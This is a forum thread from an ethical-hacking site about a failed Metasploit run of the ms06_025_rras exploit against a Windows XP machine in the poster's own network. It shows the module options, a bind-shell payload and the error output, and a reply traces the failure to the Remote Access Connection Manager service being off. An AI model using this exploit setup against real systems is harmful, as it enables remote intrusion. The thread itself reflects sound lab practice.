Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 33 guests and 5 members online
 
Advertisement

You are here: Home arrow Ethical Hacking Discussions and Related Certificationsarrow Malwarearrow ms06_025_rras returns 'could not bind'
EH-Net
May 21, 2013, 09:36:59 PM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
   Home   Help Calendar Login Register  
Pages: [1]   Go Down
  Print  
Author Topic: ms06_025_rras returns 'could not bind'  (Read 4130 times)
0 Members and 1 Guest are viewing this topic.
mikeody
Newbie
*
Offline Offline

Posts: 4


View Profile
« on: January 02, 2010, 08:46:52 PM »

Can anyone tell me what is happening please ? 2 PCs on same network - target = 192.168.0.5, Host 192.168.0.3], no firewalls or virus software running on either.

msf exploit(ms06_025_rras) > show options
Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.5      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  SRVSVC           yes       The pipe name to use (ROUTER, SRVSVC)

Payload options (windows/shell_bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.5      no        The target address

Exploit target:
   Id  Name
   --  ----
   1   Windows XP SP1

msf exploit(ms06_025_rras) > exploit
  • Started bind handler
  • Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_np:192.168.0.5[\SRVSVC] ...
  • [-] Exploit failed: Could not bind to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_np:192.168.0.5[\SRVSVC]
  • Exploit completed, but no session was created.
msf exploit(ms06_025_rras) >

I get EXACTLY the same result if the target has NO SPs or just SP1. Also same result if I try a reverse shell payload [windows/shell_reverse_tcp].

Thanks
Logged
phn1x
Newbie
*
Offline Offline

Posts: 26


View Profile
« Reply #1 on: January 03, 2010, 09:31:03 PM »

Reading the output the exploit can't bind to the named pipe due to one of many factors, most like it is not there.

Your problem most likely lies with the fact that the Remote Access Connection Manager service is not started by default for all supported Microsoft Windows operating systems with the exception of Microsoft Windows 2000 Service Pack 4.

But this is only a guess as I have no further information regarding your target.
Logged
mikeody
Newbie
*
Offline Offline

Posts: 4


View Profile
« Reply #2 on: January 03, 2010, 11:39:01 PM »

Brilliant.
Thank you very much.
Remote Access Connection Manager was set to Manual.
Logged
Pages: [1]   Go Up
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.065 seconds with 23 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.